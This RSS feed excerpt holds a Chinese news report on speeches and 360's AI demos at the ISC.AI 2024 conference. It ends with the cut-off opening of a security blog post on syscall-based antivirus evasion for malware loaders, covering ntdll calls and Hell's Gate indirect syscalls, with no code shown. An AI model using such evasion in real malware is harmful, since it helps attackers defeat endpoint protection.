justify;"><p style="text-wrap: wrap;">民营经济作为推动我国发展不可或缺的力量，在助力网络安全建设，服务网络强国战略方面前景广阔。<strong>全国工商联党组成员、副主席汪鸿雁</strong>在致辞中表示，相关行业领域的民营企业要主动融入国家战略发展大局，以服务健全国家安全体系、引领新一轮科技革命为目标，积极投身全面深化改革重大战略任务。要练好创新内功，开展基础理论创新，重大问题研究和关键核心技术的攻关。广大科技企业要要坚持科技向上向善，积极参与行业合规建设，不断完善企业治理结构和管理制度。</p></section></section><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section><section style="line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100001912" data-ratio="0.6666666666666666" data-s="300,640" width="100%" data-type="png" data-w="633" style="vertical-align: middle;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=c52d8cba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Ff4CbNfICAmX2gBUos7FibwZibuibGJnPAjIZfxjChp8NWHez3IY5JrwRibqPbVGM4klyVTHhgMIxahibBxNXq5OGktg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section></section><section style="transform-style: flat;transform: perspective(0px);"><section style="margin-bottom: -6px;transform: translate3d(6px, 0px, 0px) rotateX(180deg) rotateY(180deg);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 20px;margin-bottom: 20px;"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgba(134, 159, 231, 0.36);height: auto;margin-right: 5px;margin-left: 5px;"><section style="margin-top: -6px;transform: translate3d(-6px, 0px, 0px);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 17px;"><section style="text-align: center;"><section style="text-align: justify;"><p style="text-wrap: wrap;">发展人工智能要坚持“以人为本”，坚持“共同、综合、合作、可持续”的安全观和“科技向善”原则。<strong>十三届全国政协社会和法制委员会副主任，中国友谊促进会理事长，公安部原副部长，国家网信办原副主任陈智敏</strong>在致辞中指出，在保障好数据安全的前提下，人工智能发展的当务之急是构建与新质生产力相适应的新型生产关系，同时要完善法律制度并加强国际合作。</p></section></section><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section><section style="line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100001913" data-ratio="0.6666666666666666" data-s="300,640" width="100%" data-type="png" data-w="642" style="vertical-align: middle;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=5bc376a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Ff4CbNfICAmX2gBUos7FibwZibuibGJnPAjIibxFgvCwmjvW2hRXXKNDnD76MwnwR8lOMJI4WUHX6kRCm0iaKoGARicgw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section></section><section style="transform-style: flat;transform: perspective(0px);"><section style="margin-bottom: -6px;transform: translate3d(6px, 0px, 0px) rotateX(180deg) rotateY(180deg);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 20px;margin-bottom: 20px;"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgba(134, 159, 231, 0.36);height: auto;margin-right: 5px;margin-left: 5px;"><section style="margin-top: -6px;transform: translate3d(-6px, 0px, 0px);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 17px;"><section style="text-align: center;"><section style="text-align: justify;"><p style="text-wrap: wrap;">当前，人工智能迎来了发展与治理协同共进的新阶段。<strong>十三届全国人民代表大会社会建设委员会副主任委员，世界互联网大会秘书长，国家网信办原副主任任贤良</strong>在致辞中指出，要倡导遵守网络空间国际规则，把防控网络安全风险放在人工智能发展与治理的重要位置。此外，广大安全企业应以技术为本，深入研究人工智能等重点领域，构建跨领域、多层次的数字安全技术产品和服务创新体系，同时注重开放合作，推动协同共治。</p></section></section><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section><section style="line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100001919" data-ratio="0.6661514683153014" data-s="300,640" width="100%" data-type="png" data-w="647" style="vertical-align: middle;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=997e4940&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Ff4CbNfICAmX2gBUos7FibwZibuibGJnPAjIm3ic7zY9bPcHghvF54nrVN5zsiazrLP8NjG51xpaA8LjiaD4XHCyaXldg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section></section><section style="transform-style: flat;transform: perspective(0px);"><section style="margin-bottom: -6px;transform: translate3d(6px, 0px, 0px) rotateX(180deg) rotateY(180deg);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 20px;margin-bottom: 20px;"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgba(134, 159, 231, 0.36);height: auto;margin-right: 5px;margin-left: 5px;"><section style="margin-top: -6px;transform: translate3d(-6px, 0px, 0px);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 17px;"><section style="text-align: center;"><section style="text-align: justify;"><p style="text-wrap: wrap;">“AI+安全”将进一步激发更多网络安全防护新需求，催生网络安全新技术、新产品、新模式。<strong>工业和信息化部网络安全管理局局长隋静</strong>在致辞中表示，未来将加快培育新支柱新赛道，推动安全产品集约化、高端化智能化发展。促进供需两端有效对接，强化新型工业化保障能力。此外，在积极防范人工智能等新技术带来的安全风险，持续开展筑网系列实网攻防演练的同时，加强网络协同，构建产业生态。</p></section></section><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section><section style="line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100001918" data-ratio="0.6677685950413224" data-s="300,640" width="100%" data-type="png" data-w="605" style="vertical-align: middle;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=879261aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Ff4CbNfICAmX2gBUos7FibwZibuibGJnPAjIDoMRNV4enaGSCgrgKIwsWYc0PqUXCicNCd9AbSCuib017eJcIHfDBsYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section></section><section style="transform-style: flat;transform: perspective(0px);"><section style="margin-bottom: -6px;transform: translate3d(6px, 0px, 0px) rotateX(180deg) rotateY(180deg);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 20px;margin-bottom: 20px;"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgba(134, 159, 231, 0.36);height: auto;margin-right: 5px;margin-left: 5px;"><section style="margin-top: -6px;transform: translate3d(-6px, 0px, 0px);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 17px;"><section style="text-align: center;"><section style="text-align: justify;"><p style="text-wrap: wrap;">当前，推动人工智能技术和数字安全融合发展成为助力数字化建设、提速数字经济发展的关键。<strong>北京市经济和信息化局党组成员、副局长顾瑾栩</strong>在致辞中表示，北京要发挥首都核心优势，加强创新体系建设，提升创新产业发展能级，完善创新产业生态，为首都数字经济高质量发展提供强劲动能。</p></section></section><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section><section style="line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100001921" data-ratio="0.6661631419939577" data-s="300,640" width="100%" data-type="png" data-w="662" style="vertical-align: middle;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=514bb353&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Ff4CbNfICAmX2gBUos7FibwZibuibGJnPAjIWWibibEg5SjPxQksCicaG5TNHPAbCdrb2XxCz5uWmVWngTBYgF93lxYgw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section></section><section style="transform-style: flat;transform: perspective(0px);"><section style="margin-bottom: -6px;transform: translate3d(6px, 0px, 0px) rotateX(180deg) rotateY(180deg);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 20px;margin-bottom: 20px;"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgba(134, 159, 231, 0.36);height: auto;margin-right: 5px;margin-left: 5px;"><section style="margin-top: -6px;transform: translate3d(-6px, 0px, 0px);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 17px;"><section style="text-align: center;"><section style="text-align: justify;"><p style="text-wrap: wrap;">朝阳区双轮驱动发展战略以来，人工智能和数字安全产业取得了长足发展，产业集群聚集效应日益显著。<strong>北京市朝阳区委常委，区人民政府党组成员、副区长，中关村科技园区朝阳园党工委书记(兼)舒毕磊</strong>在致辞中表示，未来朝阳区将一如既往支持以360为代表的创新企业，通过技术创新和携手合作，推动人工智能技术与数字安全融合创新、协同发展，共同构建安全可信、可控的发展生态。</p></section></section><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section><section style="line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100001920" data-ratio="0.6666666666666666" data-s="300,640" width="100%" data-type="png" data-w="684" style="vertical-align: middle;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=e8fa4fd2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Ff4CbNfICAmX2gBUos7FibwZibuibGJnPAjISOZZV2pEj5eZTayMWFe4GMkPkzmYsa3NzhFCjRsQUtWav7qCdicdAFQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section></section><section style="transform-style: flat;transform: perspective(0px);"><section style="margin-bottom: -6px;transform: translate3d(6px, 0px, 0px) rotateX(180deg) rotateY(180deg);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 20px;margin-bottom: 20px;"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgba(134, 159, 231, 0.36);height: auto;margin-right: 5px;margin-left: 5px;"><section style="margin-top: -6px;transform: translate3d(-6px, 0px, 0px);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 17px;"><section style="text-align: center;"><section style="text-align: justify;"><p style="text-wrap: wrap;">人工智能等前沿数字技术正在重新定义内容的生产与消费模式，大模型在企业运营中的应用日益广泛。<strong>中国工程院院士，ISC名誉主席邬贺铨</strong>在致辞中指出，大模型提供方与垂直行业合作开发行业大模型，将大模型拆分成模块提供服务，将有利于中小型企业更容易地应用AI大模型。此外，要注重创新升级数字安全防护措施。</p></section></section><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section><section style="line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100001917" data-ratio="0.6671802773497689" data-s="300,640" width="100%" data-type="png" data-w="649" style="vertical-align: middle;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7b5fcb13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Ff4CbNfICAmX2gBUos7FibwZibuibGJnPAjIiavClhMsSQWXhWNf4nyyL5Oicsb9I2HK37Pibic5bJlVMDNURDREr0hQTQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section></section><section style="transform-style: flat;transform: perspective(0px);"><section style="margin-bottom: -6px;transform: translate3d(6px, 0px, 0px) rotateX(180deg) rotateY(180deg);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 40px;margin-bottom: 20px;"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(109, 155, 249) 16%, rgb(177, 207, 250) 88%);min-width: 5%;height: auto;padding: 1px 14px;border-style: solid;border-width: 5px;border-color: rgba(132, 171, 252, 0.5);box-shadow: rgba(39, 106, 246, 0.17) 5px 5px 0px 0px;"><section style="color: rgb(250, 254, 255);font-size: 17px;"><p><strong>“360AI搜索”“360AI浏览器”首秀</strong></p><p><strong>打造沉浸式智能化参会体验</strong></p></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 20px;margin-bottom: 20px;"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgba(134, 159, 231, 0.36);height: auto;margin-right: 5px;margin-left: 5px;"><section style="margin-top: -6px;transform: translate3d(-6px, 0px, 0px);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 17px;"><section style="text-align: center;"><section style="text-align: justify;"><p style="text-wrap: wrap;">作为全球首场数字安全和AI双域盛会，ISC.AI 2024的开幕式备受瞩目。开幕式由360推出的智能大模型——360AI搜索“i搜”全程配合真人主持，这位AI主持人具备强大的大数据处理能力，能够迅速从海量的网页信息中提取答案，并与现场嘉宾进行实时互动。同时，开幕式的另一项创新——360AI浏览器，在多个小模型的支持下，能够在舞台两侧的大屏上实时生成嘉宾的演讲要点，为用户带来了全新的智能化参会体验。<br/></p><p style="text-wrap: wrap;">8月1日，人工智能峰会和一系列主题论坛还将呈现更多精彩议题。此外，创新独角兽沙盒大赛、AI体验馆、ISC开讲啦、赛博文化街等特色活动将持续开放。8月2日，ISC.AI 2024上海AI峰会将接棒北京延续精彩。解锁行业大咖前瞻观点，沉浸式体验科技参会，ISC期待与您携手，共同探索“数字安全和人工智能”的领域最前沿。</p></section></section></section></section><section style="transform-style: flat;transform: perspective(0px);"><section style="margin-bottom: -6px;transform: translate3d(6px, 0px, 0px) rotateX(180deg) rotateY(180deg);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section></section><p><br/></p><section style="text-wrap: wrap;clear: both;min-height: 1em;outline: 0px;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;line-height: 1.6em;font-family: -apple-system, BlinkMacSystemFont, Arial, sans-serif;"><span style="outline: 0px;letter-spacing: 2px;font-size: 15px;color: rgb(0, 0, 0);"><strong style="outline: 0px;">-END-</strong><br data-filtered="filtered" style="outline: 0px;"/></span></section><section style="text-wrap: wrap;min-height: 1em;outline: 0px;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 1.6em;text-align: center;font-family: -apple-system, BlinkMacSystemFont, Arial, sans-serif;"><img class="rich_pages __bg_gif wxw-img" data-galleryid="" data-imgfileid="100001923" data-ratio="0.7120500782472613" style="outline: 0px;vertical-align: baseline;visibility: visible !important;width: 556px !important;" data-type="gif" data-w="639" src="https://wechat2rss.xlab.app/img-proxy/?k=2cde6ffd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff4CbNfICAmVtpov4K8z829AAxZ5vxGUvytiaz5CK8tFI3J2t4fOH5ibW4ziaWuWicq1icEHYicOzjUcTerPAWboelF7w%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://mp.weixin.qq.com/s/hn9kP3-43D2akZzchzfBjQ#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=50909811&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485578%26idx%3D1%26sn%3Df31b25d370fd4ef22d1a41421941fad6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 01 Aug 2024 14:31:00 +0800</pubDate>
    </item>
    <item>
      <title>【文末红包】Syscall免杀的高阶对抗</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485559&amp;idx=1&amp;sn=0fd4d31956824b33c2abb39ab2d76374</link>
      <description>让我们跟随团队成员凝师傅的脚步，深入学习Syscall免杀的高阶对抗，从系统底层角度看Syscall整体调用链，从而更深的踏入免杀的大门~</description>
      <content:encoded><![CDATA[<p>
原创 <span>凝</span> <span>2024-07-11 15:30</span> <span style="display: inline-block;">广东</span>
</p>

<p>让我们跟随团队成员凝师傅的脚步，深入学习Syscall免杀的高阶对抗，从系统底层角度看Syscall整体调用链，从而更深的踏入免杀的大门~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=efc5e515&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibcibu0JQgxKv6sNsic1a1kibg6Nrv2DSQYOpPgFBvrtOKVOjJRiawvWl7SQ3g4PicOITHaAGooPc4aw8ew%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 16px;color: rgb(62, 62, 62);line-height: 1.6;letter-spacing: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><blockquote style="line-height: inherit;padding: 15px 15px 15px 1rem;font-size: 0.9em;color: rgb(129, 145, 152);border-left-width: 6px;border-left-color: rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;">微信公众号：<strong style="font-size: inherit;color: inherit;line-height: inherit;">渊龙Sec安全团队</strong><br/>为国之安全而奋斗，为信息安全而发声！<br/>如有问题或建议，请在公众号后台留言<br/><strong style="font-size: inherit;color: inherit;line-height: inherit;">如果你觉得本文对你有帮助，欢迎在文章底部赞赏我们</strong></p></blockquote><h3 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">1# 免杀现状概述</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">从现在杀软对抗的角度和技术来讲，<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">syscall</code> 可以说是 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">loader</code> 中一个不可缺少的技术。为什么 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">syscall</code> 逐渐成为主流？</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">很早之前杀软其实只会对 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">kernel32</code> 中一些函数进行 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">hook</code>，所以恶意程序开发者使用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ntdll</code> 中的函数去实现 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">loader</code> 的免杀效果是远高于直接或者间接使用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">kernel32</code> 中的函数，比如 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">VirtualAlloc</code> 之类的函数。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">我们又不能直接通过动态调用的方式的去加载 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ntdll</code> 中的函数，原因是调用链比较明显（使用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">GetModuleHandle</code>，<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">GetProcAddress</code>）。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100001899" data-ratio="0.562962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3ddaddb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibcibu0JQgxKv6sNsic1a1kibg6OhibZP6cgCjFUhJOOq1ZOegCL0QMiaPdPGGMa7SbMJcFJ69KgC8a5ZSQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">随着时代的进步，逐渐有人创造<strong style="font-size: inherit;color: inherit;line-height: inherit;">间接调用</strong>这个概念，也就是我们现在熟悉的<strong style="font-size: inherit;color: inherit;line-height: inherit;">地狱之门</strong>，当然这里我们不再去深度讨论一些关于地狱之门之类的话题。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">当然俗话说的好，魔高一尺道高一丈，杀软也已经开始 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">hook ntdll</code> 了，当然目前来说<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">r3</code> 层 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">hook</code> 杀软已经不再是主流，像卡巴已经移除了 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">r3</code> 层的 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">hook</code>。</p><blockquote style="line-height: inherit;padding: 15px 15px 15px 1rem;font-size: 0.9em;color: rgb(129, 145, 152);border-left-width: 6px;border-left-color: rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;">注明：本文中的 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Syscall</code> 